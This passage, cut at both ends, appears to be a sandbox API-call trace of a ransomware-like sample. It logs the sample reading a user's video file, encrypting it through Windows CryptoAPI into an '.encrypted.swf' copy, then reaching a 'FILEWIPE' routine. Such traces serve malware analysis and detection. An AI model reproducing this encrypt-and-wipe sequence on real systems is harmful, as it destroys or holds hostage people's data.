wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.062] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.062] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.062] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.062] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0029.062] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.063] CryptDestroyHash (hHash=0xe8f40625d0) returned 1 [0029.063] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.064] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.064] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.064] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.064] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.064] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\agMab4-chBFVJU6A.swf" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\agmab4-chbfvju6a.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0029.064] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.064] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.065] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.065] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.065] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.065] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl")) returned 0x10 [0029.065] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\agMab4-chBFVJU6A.encrypted.swf" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\agmab4-chbfvju6a.encrypted.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0029.065] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.066] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.066] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.066] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.067] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.067] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x28c1, lpOverlapped=0x0) returned 1 [0029.068] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.069] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.070] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.070] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.070] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.070] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.070] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.070] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.070] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.071] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.071] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.071] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.071] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.071] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0029.072] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.072] CryptGetKeyParam (in: hKey=0xe8f4062640, dwParam=0x7, pbData=0xe8f4064a10, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064a10*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.072] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.072] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.072] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.072] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.072] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.072] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.072] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.072] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.072] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.072] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.072] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.072] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.072] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.072] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.072] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.072] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x28c1, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x28d0) returned 1 [0029.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.073] CharLowerBuffW (in: lpsz="byte[10449]", cchLength=0xb | out: lpsz="byte[10449]") returned 0xb [0029.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.073] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.073] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.073] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.073] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f437a030*, pdwDataLen=0xe8f3dfdf68*=0x28c1, dwBufLen=0x28d0 | out: pbData=0xe8f437a030*, pdwDataLen=0xe8f3dfdf68*=0x28d0) returned 1 [0029.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.073] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.073] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.073] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.073] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.073] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.073] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.073] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.073] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.073] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.073] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.074] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.074] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.074] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.074] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.074] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.074] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.074] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.074] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.074] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0029.074] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.074] CryptDestroyKey (hKey=0xe8f4062640) returned 1 [0029.074] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.074] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.074] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.074] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.075] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.075] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.075] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.075] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.075] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.075] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0029.075] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.075] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.075] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.075] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.075] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.075] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.075] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.075] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.075] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.075] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.075] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.075] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.075] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.075] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.075] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.075] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.075] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.075] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.075] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.075] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0029.075] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.076] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.076] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.076] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.076] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.076] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.076] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.077] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.077] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.077] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.077] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 